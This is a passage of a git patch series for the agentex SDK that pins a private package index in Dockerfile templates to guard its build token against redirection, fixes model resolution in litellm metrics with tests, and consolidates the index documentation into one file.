UV_INDEX_SCALE_PYPI_PASSWORD. +# # The token is percent-decoded on the way out: the buildspec URL-encodes it into the # pip config's URL userinfo, so a token containing + / = arrives as %2B %2F %3D. RUN --mount=type=cache,target=/root/.cache/uv \ --mount=type=secret,id=codeartifact-pip-conf,required=false \ if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX="scale-pypi=$(sed -n 's#.*index-url = https://aws:[^@]*@\(.*\)#https://\1#p' /run/secrets/codeartifact-pip-conf | head -1)"; \ export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ @@ -68,6 +78,7 @@ COPY {{ project_path_from_build_root }}/project ./project RUN --mount=type=cache,target=/root/.cache/uv \ --mount=type=secret,id=codeartifact-pip-conf,required=false \ if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX="scale-pypi=$(sed -n 's#.*index-url = https://aws:[^@]*@\(.*\)#https://\1#p' /run/secrets/codeartifact-pip-conf | head -1)"; \ export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ diff --git a/src/agentex/lib/cli/templates/temporal/Dockerfile-uv.j2 b/src/agentex/lib/cli/templates/temporal/Dockerfile-uv.j2 index bf0e1e3d5..bb1a726c5 100644 --- a/src/agentex/lib/cli/templates/temporal/Dockerfile-uv.j2 +++ b/src/agentex/lib/cli/templates/temporal/Dockerfile-uv.j2 @@ -50,11 +50,21 @@ COPY {{ project_path_from_build_root }}/pyproject.toml ./ # url = "" # default = true # +# UV_INDEX re-binds that name to the URL the BROKER supplied, overriding whatever URL +# the project declared for it. Without this the credential follows the name wherever +# pyproject.toml points it: uv sends the token to any host declared under the name +# `scale-pypi`, so a one-line edit to a project file — far less conspicuous in review +# than a change to this Dockerfile — would exfiltrate it. Verified both ways against a +# local server: without UV_INDEX the rogue host receives `Basic aws:`; with it +# the rogue host is never contacted. The URL carries no userinfo; the token travels +# only in UV_INDEX_SCALE_PYPI_PASSWORD. +# # The token is percent-decoded on the way out: the buildspec URL-encodes it into the # pip config's URL userinfo, so a token containing + / = arrives as %2B %2F %3D. RUN --mount=type=cache,target=/root/.cache/uv \ --mount=type=secret,id=codeartifact-pip-conf,required=false \ if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX="scale-pypi=$(sed -n 's#.*index-url = https://aws:[^@]*@\(.*\)#https://\1#p' /run/secrets/codeartifact-pip-conf | head -1)"; \ export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ @@ -68,6 +78,7 @@ COPY {{ project_path_from_build_root }}/project ./project RUN --mount=type=cache,target=/root/.cache/uv \ --mount=type=secret,id=codeartifact-pip-conf,required=false \ if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX="scale-pypi=$(sed -n 's#.*index-url = https://aws:[^@]*@\(.*\)#https://\1#p' /run/secrets/codeartifact-pip-conf | head -1)"; \ export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ diff --git a/src/agentex/lib/core/adapters/llm/_genai_metrics.py b/src/agentex/lib/core/adapters/llm/_genai_metrics.py index 90823a7fe..3c2293cd6 100644 --- a/src/agentex/lib/core/adapters/llm/_genai_metrics.py +++ b/src/agentex/lib/core/adapters/llm/_genai_metrics.py @@ -17,7 +17,7 @@ the OpenAI client, we name that, and ``call()`` stands down if the client instrumentor is already recording. When litellm routes natively there is no such overlap, so we record. That decision is made per call, from the model string, in -:func:`_transport_for`. +:func:`_split_model`. Everything here is fail-open: sgp-obs is an optional dependency and a telemetry problem must never fail a model call. If the import fails, :func:`inference_call` returns an @@ -59,7 +59,28 @@ def _split_model(model: str) -> tuple[str, bool]: return (vendor or _DEFAULT_VENDOR), proxied or vendor == _DEFAULT_VENDOR -def inference_call(kwargs: dict[str, Any]) -> Any: +def resolve_model(args: tuple[Any, ...], kwargs: dict[str, Any]) -> str: + """The model for a litellm call, whether it arrived by keyword or positionally. + + ``litellm.acompletion`` takes ``model`` as its FIRST positional argument, and the + gateway forwards ``*args`` untouched, so ``gateway.acompletion("anthropic/claude- + sonnet-4", messages)`` is a legal call that puts the model in ``args[0]``. + + Reading only ``kwargs`` there does not merely mislabel the vendor, it loses the + measurement: an empty model resolves to the default vendor "openai", which sets + ``transport=OPENAI``, which makes ``call()`` stand down for the OpenAI client + instrumentor — while litellm routes natively to Anthropic and never touches that + client. Nothing records it and nothing says so. + """ + model = kwargs.get("model") + if not model and args: + model = args[0] + # Positional args are forwarded verbatim, so args[0] is whatever the caller passed; + # only a string can be a litellm model name. + return model if isinstance(model, str) else "" + + +def inference_call(kwargs: dict[str, Any], args: tuple[Any, ...] = ()) -> Any: """Begin recording one litellm call. Never raises, never returns None.""" try: # See sgp_obs_setup.py: optional, not publicly installable, absent in CI. @@ -74,12 +95,12 @@ def inference_call(kwargs: dict[str, Any]) -> Any: return _NULL_CALL try: - model = kwargs.get("model") or "" - vendor, over_openai_client = _split_model(str(model)) + model = resolve_model(args, kwargs) + vendor, over_openai_client = _split_model(model) return genai.call( provider=vendor, operation=genai.CHAT, - model=str(model), + model=model, # litellm normalises every vendor's response onto the OpenAI shape, so one # parser reads them all — which is exactly what `spec` separates from the # `provider` label. diff --git a/src/agentex/lib/core/adapters/llm/adapter_litellm.py b/src/agentex/lib/core/adapters/llm/adapter_litellm.py index 9993cf069..8fb1602aa 100644 --- a/src/agentex/lib/core/adapters/llm/adapter_litellm.py +++ b/src/agentex/lib/core/adapters/llm/adapter_litellm.py @@ -40,7 +40,7 @@ async def acompletion(self, *args, **kwargs) -> Completion: # `async with`, not try/except: asyncio.CancelledError is a BaseException, so a # caller that disappears mid-flight would skip an `except Exception` handler and # the record would be silently dropped. - async with inference_call(kwargs) as call: + async with inference_call(kwargs, args) as call: # Return a single completion for non-streaming response = call.observe(await llm.acompletion(*args, **kwargs)) return Completion.model_validate(response) @@ -52,7 +52,7 @@ async def acompletion_stream( if not kwargs.get("stream"): raise ValueError("To use streaming, please set stream=True in the kwargs") - async with inference_call(kwargs) as call: + async with inference_call(kwargs, args) as call: # observe() takes ownership of the stream and yields the same chunks, so it # can read time-to-first-chunk and the token totals off the last chunk. # Wrapping only the `await` would return before the first chunk arrived and diff --git a/src/agentex/lib/core/adapters/llm/tests/test_genai_metrics.py b/src/agentex/lib/core/adapters/llm/tests/test_genai_metrics.py index 808c6a2a0..b4276fdb1 100644 --- a/src/agentex/lib/core/adapters/llm/tests/test_genai_metrics.py +++ b/src/agentex/lib/core/adapters/llm/tests/test_genai_metrics.py @@ -16,7 +16,11 @@ import pytest from agentex.lib.core.adapters.llm import _genai_metrics -from agentex.lib.core.adapters.llm._genai_metrics import _split_model, inference_call +from agentex.lib.core.adapters.llm._genai_metrics import ( + _split_model, + resolve_model, + inference_call, +) class TestSplitModel: @@ -113,3 +117,58 @@ def exploding(**_kwargs): monkeypatch.setitem(sys.modules, "sgp_obs", type(sys)("sgp_obs")) monkeypatch.setitem(sys.modules, "sgp_obs.metrics", module) assert inference_call({"model": "gpt-4o"}) is _genai_metrics._NULL_CALL + + +class TestResolveModel: + """litellm takes `model` as its FIRST positional argument and the gateway forwards + *args untouched, so a positional call is legal and must still be measured. + + Reading only kwargs does not merely mislabel the vendor: an empty model resolves to + the default vendor "openai", which sets transport=OPENAI, which makes call() stand + down for the OpenAI client instrumentor — while litellm routes natively to Anthropic + and never touches that client. Nothing records it and nothing says so. + """ + + def test_keyword_model(self): + assert resolve_model((), {"model": "gpt-4o"}) == "gpt-4o" + + def test_positional_model(self): + assert resolve_model(("anthropic/claude-sonnet-4",), {}) == "anthropic/claude-sonnet-4" + + def test_keyword_wins_over_positional(self): + """litellm itself would reject both, but if it ever resolved one, the keyword is + the explicit intent.""" + assert resolve_model(("a/b",), {"model": "c/d"}) == "c/d" + + def test_no_model_at_all(self): + assert resolve_model((), {}) == "" + + def test_a_non_string_first_arg_is_not_a_model(self): + """*args is forwarded verbatim, so args[0] is whatever the caller passed.""" + assert resolve_model(([{"role": "user"}],), {}) == "" + + def test_positional_native_vendor_does_not_stand_down(self, monkeypatch): + """The regression this guards: a positional Anthropic model must be recorded by + the gateway, because nothing else will.""" + seen = {} + + class _Genai: + CHAT = "chat" + OPENAI_SPEC = "openai" + OPENAI = "openai" + + @staticmethod + def call(**kwargs): + seen.update(kwargs) + return _genai_metrics._NULL_CALL + + module = type(sys)("sgp_obs.metrics") + module.genai = _Genai + monkeypatch.setitem(sys.modules, "sgp_obs", type(sys)("sgp_obs")) + monkeypatch.setitem(sys.modules, "sgp_obs.metrics", module) + + inference_call({}, ("anthropic/claude-sonnet-4",)) + assert seen["model"] == "anthropic/claude-sonnet-4" + assert seen["provider"] == "anthropic" + # Empty transport == "no OpenAI-client overlap, so record it here". + assert seen["transport"] == "" From 45e4ecc9322df51e6b578311e229362397efada1 Mon Sep 17 00:00:00 2001 From: Sirui Wang Date: Fri, 11 Sep 2026 17:37:10 -0700 Subject: [PATCH 7/7] docs(templates): one private-index doc instead of the same comment 38 times MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Two problems with how the private-index wiring was documented. TEAM-RUNBOOK is not public, so pointing generated agent Dockerfiles at it sends the reader somewhere they cannot go. Replaced with the two references that do resolve: SGPINF-1568, and the PRD, both linked from the new doc. And the explanation was pasted into all 38 templates — roughly twenty comment lines apiece, restating the named-index requirement, the percent-decode, and the UV_INDEX pinning. That is 38 copies to keep in sync, and it buried the four lines of shell that actually do something. Now: PRIVATE_INDEX.md carries it once, and each Dockerfile keeps a short pointer plus the ticket. Net 608 deletions against 190 insertions. The pointer names the doc rather than giving a relative path, deliberately. These Dockerfiles are copied into generated agent repos, where `templates/PRIVATE_INDEX.md` would dangle; SGPINF-1568 resolves from anywhere and the filename is findable. Also dropped stale `agentex-sdk[obs]` references from the template comments — that extra does not exist; sgp-obs is the agent's own dependency. No behaviour change: all 38 templates still render as jinja, all 138 RUN bodies still pass `sh -n`, every template still carries the mount and the ticket reference. Co-Authored-By: Claude Opus 5 --- .../lib/cli/templates/PRIVATE_INDEX.md | 62 +++++++++++++++++++ .../default-claude-code/Dockerfile-uv.j2 | 29 ++------- .../default-claude-code/Dockerfile.j2 | 13 ++-- .../templates/default-codex/Dockerfile-uv.j2 | 29 ++------- .../cli/templates/default-codex/Dockerfile.j2 | 13 ++-- .../default-langgraph/Dockerfile-uv.j2 | 29 ++------- .../templates/default-langgraph/Dockerfile.j2 | 13 ++-- .../default-openai-agents/Dockerfile-uv.j2 | 29 ++------- .../default-openai-agents/Dockerfile.j2 | 13 ++-- .../default-pydantic-ai/Dockerfile-uv.j2 | 29 ++------- .../default-pydantic-ai/Dockerfile.j2 | 13 ++-- .../cli/templates/default/Dockerfile-uv.j2 | 29 ++------- .../lib/cli/templates/default/Dockerfile.j2 | 13 ++-- .../sync-claude-code/Dockerfile-uv.j2 | 29 ++------- .../templates/sync-claude-code/Dockerfile.j2 | 13 ++-- .../cli/templates/sync-codex/Dockerfile-uv.j2 | 29 ++------- .../cli/templates/sync-codex/Dockerfile.j2 | 13 ++-- .../templates/sync-langgraph/Dockerfile-uv.j2 | 29 ++------- .../templates/sync-langgraph/Dockerfile.j2 | 13 ++-- .../Dockerfile-uv.j2 | 29 ++------- .../Dockerfile.j2 | 13 ++-- .../sync-openai-agents/Dockerfile-uv.j2 | 29 ++------- .../sync-openai-agents/Dockerfile.j2 | 13 ++-- .../sync-pydantic-ai/Dockerfile-uv.j2 | 29 ++------- .../templates/sync-pydantic-ai/Dockerfile.j2 | 13 ++-- .../lib/cli/templates/sync/Dockerfile-uv.j2 | 29 ++------- .../lib/cli/templates/sync/Dockerfile.j2 | 13 ++-- .../temporal-claude-code/Dockerfile-uv.j2 | 29 ++------- .../temporal-claude-code/Dockerfile.j2 | 13 ++-- .../templates/temporal-codex/Dockerfile-uv.j2 | 29 ++------- .../templates/temporal-codex/Dockerfile.j2 | 13 ++-- .../temporal-langgraph/Dockerfile-uv.j2 | 29 ++------- .../temporal-langgraph/Dockerfile.j2 | 13 ++-- .../temporal-openai-agents/Dockerfile-uv.j2 | 29 ++------- .../temporal-openai-agents/Dockerfile.j2 | 13 ++-- .../temporal-pydantic-ai/Dockerfile-uv.j2 | 29 ++------- .../temporal-pydantic-ai/Dockerfile.j2 | 13 ++-- .../cli/templates/temporal/Dockerfile-uv.j2 | 29 ++------- .../lib/cli/templates/temporal/Dockerfile.j2 | 13 ++-- 39 files changed, 252 insertions(+), 608 deletions(-) create mode 100644 src/agentex/lib/cli/templates/PRIVATE_INDEX.md diff --git a/src/agentex/lib/cli/templates/PRIVATE_INDEX.md b/src/agentex/lib/cli/templates/PRIVATE_INDEX.md new file mode 100644 index 000000000..922107f9e --- /dev/null +++ b/src/agentex/lib/cli/templates/PRIVATE_INDEX.md @@ -0,0 +1,62 @@ +# The private package index in scaffold Dockerfiles + +Every scaffold Dockerfile mounts a build secret named `codeartifact-pip-conf`. It lets an agent +install Scale-internal packages — `sgp-obs`, for instance — that are not on public PyPI, without the +build holding any registry credential of its own. The control-plane broker mints a short-lived +CodeArtifact token per build and injects it as that secret. + +- Design: [Private Package Access for Customer Agents (PRD)](https://app.notion.com/p/Private-Package-Access-for-Customer-Agents-PRD-3ad904d6e6cb802cb091df1c25e230bc) +- Tracking: [SGPINF-1568](https://linear.app/scale-epd/issue/SGPINF-1568/provide-scale-internal-packages-to-agentex-agents-in-customer) + +## It is inert by default + +The mount is `required=false` and guarded by `[ -s ... ]`, so with no secret injected the build is +byte-identical to one without any of this. That covers every local build, every CI build, and every +agent that never opts in. An empty secret file is skipped too. + +## Opting in + +Add the index to the agent's `pyproject.toml`: + +```toml +[[tool.uv.index]] +name = "scale-pypi" +url = "" +default = true +``` + +The name must be exactly `scale-pypi`. uv applies `UV_INDEX_SCALE_PYPI_USERNAME` / +`UV_INDEX_SCALE_PYPI_PASSWORD` to the index of that name, so renaming it makes the credentials +silently stop applying. Setting `UV_INDEX_URL` instead does not authenticate a *named* index at +all, and the resolve fails with a 401. + +## Three things that are easy to get wrong + +**The token arrives percent-encoded.** The buildspec URL-encodes it to embed it in the pip config's +URL userinfo, so a token containing `+`, `/` or `=` arrives as `%2B`, `%2F`, `%3D`. The `uv sync` +templates decode it before exporting it as a password. Passing it through still-encoded sends a +different string and the resolve 401s. + +**The credential must not follow project-controlled configuration.** uv binds credentials by index +*name*, and the name-to-URL mapping would otherwise come from the agent's own `pyproject.toml` — so a +project that pointed `scale-pypi` at another host would receive the token. Verified against a local +server: the rogue host receives `Authorization: Basic aws:` and the real index is never +contacted. The templates therefore export `UV_INDEX` to re-bind the name to the URL the *broker* +supplied, which overrides whatever the project declared. With that in place the rogue host is never +contacted. The pinned URL carries no userinfo; the token still travels only in +`UV_INDEX_SCALE_PYPI_PASSWORD`. + +The case this defends is not a malicious agent author — they also write the Dockerfile and could read +the mounted secret directly. It is a *contributed* change to a project file, where a one-line URL edit +is far less conspicuous in review than an exfiltration command in a Dockerfile. + +**The two template variants work differently, deliberately.** + +| Template | Install step | How the credential is supplied | +| --- | --- | --- | +| `Dockerfile-uv.j2` | `uv sync` against the agent's `pyproject.toml` | Named index `scale-pypi`, pinned via `UV_INDEX`, token decoded into `UV_INDEX_SCALE_PYPI_PASSWORD` | +| `Dockerfile.j2` | `uv pip install -r requirements.txt` | No pyproject is present, so there is no named index to bind to. The credentialed URL is used directly via `UV_DEFAULT_INDEX` | + +The `requirements.txt` variant does **not** decode the token, and that is the point: it stays inside +the URL, already encoded for exactly that use. Decoding it there would corrupt it. It is also not +exposed to the redirection problem above, because the URL comes wholly from the injected secret. diff --git a/src/agentex/lib/cli/templates/default-claude-code/Dockerfile-uv.j2 b/src/agentex/lib/cli/templates/default-claude-code/Dockerfile-uv.j2 index 16fcfa13a..8a22d0f89 100644 --- a/src/agentex/lib/cli/templates/default-claude-code/Dockerfile-uv.j2 +++ b/src/agentex/lib/cli/templates/default-claude-code/Dockerfile-uv.j2 @@ -34,31 +34,12 @@ WORKDIR /app/{{ project_path_from_build_root }} COPY {{ project_path_from_build_root }}/pyproject.toml ./ # Install dependencies (without project itself, for layer caching) -# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages -# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the -# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# Optional private index for Scale-internal packages such as sgp-obs, injected by the +# control-plane broker (SGPINF-1568). Inert unless the secret is present, so local +# builds, CI builds, and agents that never opt in are unaffected. # -# To opt in, add this to the agent's pyproject.toml. The index name must be exactly -# `scale-pypi`, because that is what binds the credentials exported below; rename it -# and they silently stop applying. Exporting UV_INDEX_URL instead does not -# authenticate a named index at all, and the resolve 401s. -# -# [[tool.uv.index]] -# name = "scale-pypi" -# url = "" -# default = true -# -# UV_INDEX re-binds that name to the URL the BROKER supplied, overriding whatever URL -# the project declared for it. Without this the credential follows the name wherever -# pyproject.toml points it: uv sends the token to any host declared under the name -# `scale-pypi`, so a one-line edit to a project file — far less conspicuous in review -# than a change to this Dockerfile — would exfiltrate it. Verified both ways against a -# local server: without UV_INDEX the rogue host receives `Basic aws:`; with it -# the rogue host is never contacted. The URL carries no userinfo; the token travels -# only in UV_INDEX_SCALE_PYPI_PASSWORD. -# -# The token is percent-decoded on the way out: the buildspec URL-encodes it into the -# pip config's URL userinfo, so a token containing + / = arrives as %2B %2F %3D. +# To opt in, and for why UV_INDEX is pinned to the broker's URL rather than trusting +# the project's, see PRIVATE_INDEX.md in the agentex-sdk CLI templates directory. RUN --mount=type=cache,target=/root/.cache/uv \ --mount=type=secret,id=codeartifact-pip-conf,required=false \ if [ -s /run/secrets/codeartifact-pip-conf ]; then \ diff --git a/src/agentex/lib/cli/templates/default-claude-code/Dockerfile.j2 b/src/agentex/lib/cli/templates/default-claude-code/Dockerfile.j2 index 173622e49..3556f6dfd 100644 --- a/src/agentex/lib/cli/templates/default-claude-code/Dockerfile.j2 +++ b/src/agentex/lib/cli/templates/default-claude-code/Dockerfile.j2 @@ -33,15 +33,12 @@ COPY {{ project_path_from_build_root }}/requirements.txt /app/{{ project_path_fr WORKDIR /app/{{ project_path_from_build_root }} -# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages -# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the -# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# Optional private index for Scale-internal packages such as sgp-obs, injected by the +# control-plane broker (SGPINF-1568). Inert unless the secret is present. # -# This template installs from requirements.txt, so no pyproject.toml is present for -# uv to read a named index out of — unlike Dockerfile-uv.j2, which uses the named -# `scale-pypi` index. The credentialed URL is taken straight from the injected pip -# config instead. That is also why nothing is percent-decoded here: the token stays -# inside the URL, already encoded for exactly that use. +# This variant installs from requirements.txt, so there is no pyproject.toml for uv to +# read a named index out of; the credentialed URL is used directly and is deliberately +# NOT decoded. See PRIVATE_INDEX.md in the agentex-sdk CLI templates directory. # # Install the required Python packages RUN --mount=type=secret,id=codeartifact-pip-conf,required=false \ diff --git a/src/agentex/lib/cli/templates/default-codex/Dockerfile-uv.j2 b/src/agentex/lib/cli/templates/default-codex/Dockerfile-uv.j2 index 8b6adeab3..b3c03c988 100644 --- a/src/agentex/lib/cli/templates/default-codex/Dockerfile-uv.j2 +++ b/src/agentex/lib/cli/templates/default-codex/Dockerfile-uv.j2 @@ -34,31 +34,12 @@ WORKDIR /app/{{ project_path_from_build_root }} COPY {{ project_path_from_build_root }}/pyproject.toml ./ # Install dependencies (without project itself, for layer caching) -# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages -# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the -# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# Optional private index for Scale-internal packages such as sgp-obs, injected by the +# control-plane broker (SGPINF-1568). Inert unless the secret is present, so local +# builds, CI builds, and agents that never opt in are unaffected. # -# To opt in, add this to the agent's pyproject.toml. The index name must be exactly -# `scale-pypi`, because that is what binds the credentials exported below; rename it -# and they silently stop applying. Exporting UV_INDEX_URL instead does not -# authenticate a named index at all, and the resolve 401s. -# -# [[tool.uv.index]] -# name = "scale-pypi" -# url = "" -# default = true -# -# UV_INDEX re-binds that name to the URL the BROKER supplied, overriding whatever URL -# the project declared for it. Without this the credential follows the name wherever -# pyproject.toml points it: uv sends the token to any host declared under the name -# `scale-pypi`, so a one-line edit to a project file — far less conspicuous in review -# than a change to this Dockerfile — would exfiltrate it. Verified both ways against a -# local server: without UV_INDEX the rogue host receives `Basic aws:`; with it -# the rogue host is never contacted. The URL carries no userinfo; the token travels -# only in UV_INDEX_SCALE_PYPI_PASSWORD. -# -# The token is percent-decoded on the way out: the buildspec URL-encodes it into the -# pip config's URL userinfo, so a token containing + / = arrives as %2B %2F %3D. +# To opt in, and for why UV_INDEX is pinned to the broker's URL rather than trusting +# the project's, see PRIVATE_INDEX.md in the agentex-sdk CLI templates directory. RUN --mount=type=cache,target=/root/.cache/uv \ --mount=type=secret,id=codeartifact-pip-conf,required=false \ if [ -s /run/secrets/codeartifact-pip-conf ]; then \ diff --git a/src/agentex/lib/cli/templates/default-codex/Dockerfile.j2 b/src/agentex/lib/cli/templates/default-codex/Dockerfile.j2 index d75e418e1..c0b3fc385 100644 --- a/src/agentex/lib/cli/templates/default-codex/Dockerfile.j2 +++ b/src/agentex/lib/cli/templates/default-codex/Dockerfile.j2 @@ -33,15 +33,12 @@ COPY {{ project_path_from_build_root }}/requirements.txt /app/{{ project_path_fr WORKDIR /app/{{ project_path_from_build_root }} -# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages -# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the -# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# Optional private index for Scale-internal packages such as sgp-obs, injected by the +# control-plane broker (SGPINF-1568). Inert unless the secret is present. # -# This template installs from requirements.txt, so no pyproject.toml is present for -# uv to read a named index out of — unlike Dockerfile-uv.j2, which uses the named -# `scale-pypi` index. The credentialed URL is taken straight from the injected pip -# config instead. That is also why nothing is percent-decoded here: the token stays -# inside the URL, already encoded for exactly that use. +# This variant installs from requirements.txt, so there is no pyproject.toml for uv to +# read a named index out of; the credentialed URL is used directly and is deliberately +# NOT decoded. See PRIVATE_INDEX.md in the agentex-sdk CLI templates directory. # # Install the required Python packages RUN --mount=type=secret,id=codeartifact-pip-conf,required=false \ diff --git a/src/agentex/lib/cli/templates/default-langgraph/Dockerfile-uv.j2 b/src/agentex/lib/cli/templates/default-langgraph/Dockerfile-uv.j2 index 541438ed9..9b4f8d25b 100644 --- a/src/agentex/lib/cli/templates/default-langgraph/Dockerfile-uv.j2 +++ b/src/agentex/lib/cli/templates/default-langgraph/Dockerfile-uv.j2 @@ -30,31 +30,12 @@ WORKDIR /app/{{ project_path_from_build_root }} COPY {{ project_path_from_build_root }}/pyproject.toml ./ # Install dependencies (without project itself, for layer caching) -# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages -# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the -# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# Optional private index for Scale-internal packages such as sgp-obs, injected by the +# control-plane broker (SGPINF-1568). Inert unless the secret is present, so local +# builds, CI builds, and agents that never opt in are unaffected. # -# To opt in, add this to the agent's pyproject.toml. The index name must be exactly -# `scale-pypi`, because that is what binds the credentials exported below; rename it -# and they silently stop applying. Exporting UV_INDEX_URL instead does not -# authenticate a named index at all, and the resolve 401s. -# -# [[tool.uv.index]] -# name = "scale-pypi" -# url = "" -# default = true -# -# UV_INDEX re-binds that name to the URL the BROKER supplied, overriding whatever URL -# the project declared for it. Without this the credential follows the name wherever -# pyproject.toml points it: uv sends the token to any host declared under the name -# `scale-pypi`, so a one-line edit to a project file — far less conspicuous in review -# than a change to this Dockerfile — would exfiltrate it. Verified both ways against a -# local server: without UV_INDEX the rogue host receives `Basic aws:`; with it -# the rogue host is never contacted. The URL carries no userinfo; the token travels -# only in UV_INDEX_SCALE_PYPI_PASSWORD. -# -# The token is percent-decoded on the way out: the buildspec URL-encodes it into the -# pip config's URL userinfo, so a token containing + / = arrives as %2B %2F %3D. +# To opt in, and for why UV_INDEX is pinned to the broker's URL rather than trusting +# the project's, see PRIVATE_INDEX.md in the agentex-sdk CLI templates directory. RUN --mount=type=cache,target=/root/.cache/uv \ --mount=type=secret,id=codeartifact-pip-conf,required=false \ if [ -s /run/secrets/codeartifact-pip-conf ]; then \ diff --git a/src/agentex/lib/cli/templates/default-langgraph/Dockerfile.j2 b/src/agentex/lib/cli/templates/default-langgraph/Dockerfile.j2 index 7c6d72ed9..7f148e274 100644 --- a/src/agentex/lib/cli/templates/default-langgraph/Dockerfile.j2 +++ b/src/agentex/lib/cli/templates/default-langgraph/Dockerfile.j2 @@ -29,15 +29,12 @@ COPY {{ project_path_from_build_root }}/requirements.txt /app/{{ project_path_fr WORKDIR /app/{{ project_path_from_build_root }} -# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages -# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the -# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# Optional private index for Scale-internal packages such as sgp-obs, injected by the +# control-plane broker (SGPINF-1568). Inert unless the secret is present. # -# This template installs from requirements.txt, so no pyproject.toml is present for -# uv to read a named index out of — unlike Dockerfile-uv.j2, which uses the named -# `scale-pypi` index. The credentialed URL is taken straight from the injected pip -# config instead. That is also why nothing is percent-decoded here: the token stays -# inside the URL, already encoded for exactly that use. +# This variant installs from requirements.txt, so there is no pyproject.toml for uv to +# read a named index out of; the credentialed URL is used directly and is deliberately +# NOT decoded. See PRIVATE_INDEX.md in the agentex-sdk CLI templates directory. # # Install the required Python packages RUN --mount=type=secret,id=codeartifact-pip-conf,required=false \ diff --git a/src/agentex/lib/cli/templates/default-openai-agents/Dockerfile-uv.j2 b/src/agentex/lib/cli/templates/default-openai-agents/Dockerfile-uv.j2 index 541438ed9..9b4f8d25b 100644 --- a/src/agentex/lib/cli/templates/default-openai-agents/Dockerfile-uv.j2 +++ b/src/agentex/lib/cli/templates/default-openai-agents/Dockerfile-uv.j2 @@ -30,31 +30,12 @@ WORKDIR /app/{{ project_path_from_build_root }} COPY {{ project_path_from_build_root }}/pyproject.toml ./ # Install dependencies (without project itself, for layer caching) -# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages -# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the -# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# Optional private index for Scale-internal packages such as sgp-obs, injected by the +# control-plane broker (SGPINF-1568). Inert unless the secret is present, so local +# builds, CI builds, and agents that never opt in are unaffected. # -# To opt in, add this to the agent's pyproject.toml. The index name must be exactly -# `scale-pypi`, because that is what binds the credentials exported below; rename it -# and they silently stop applying. Exporting UV_INDEX_URL instead does not -# authenticate a named index at all, and the resolve 401s. -# -# [[tool.uv.index]] -# name = "scale-pypi" -# url = "" -# default = true -# -# UV_INDEX re-binds that name to the URL the BROKER supplied, overriding whatever URL -# the project declared for it. Without this the credential follows the name wherever -# pyproject.toml points it: uv sends the token to any host declared under the name -# `scale-pypi`, so a one-line edit to a project file — far less conspicuous in review -# than a change to this Dockerfile — would exfiltrate it. Verified both ways against a -# local server: without UV_INDEX the rogue host receives `Basic aws:`; with it -# the rogue host is never contacted. The URL carries no userinfo; the token travels -# only in UV_INDEX_SCALE_PYPI_PASSWORD. -# -# The token is percent-decoded on the way out: the buildspec URL-encodes it into the -# pip config's URL userinfo, so a token containing + / = arrives as %2B %2F %3D. +# To opt in, and for why UV_INDEX is pinned to the broker's URL rather than trusting +# the project's, see PRIVATE_INDEX.md in the agentex-sdk CLI templates directory. RUN --mount=type=cache,target=/root/.cache/uv \ --mount=type=secret,id=codeartifact-pip-conf,required=false \ if [ -s /run/secrets/codeartifact-pip-conf ]; then \ diff --git a/src/agentex/lib/cli/templates/default-openai-agents/Dockerfile.j2 b/src/agentex/lib/cli/templates/default-openai-agents/Dockerfile.j2 index 73edfe479..0a416aa38 100644 --- a/src/agentex/lib/cli/templates/default-openai-agents/Dockerfile.j2 +++ b/src/agentex/lib/cli/templates/default-openai-agents/Dockerfile.j2 @@ -29,15 +29,12 @@ COPY {{ project_path_from_build_root }}/requirements.txt /app/{{ project_path_fr WORKDIR /app/{{ project_path_from_build_root }} -# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages -# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the -# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# Optional private index for Scale-internal packages such as sgp-obs, injected by the +# control-plane broker (SGPINF-1568). Inert unless the secret is present. # -# This template installs from requirements.txt, so no pyproject.toml is 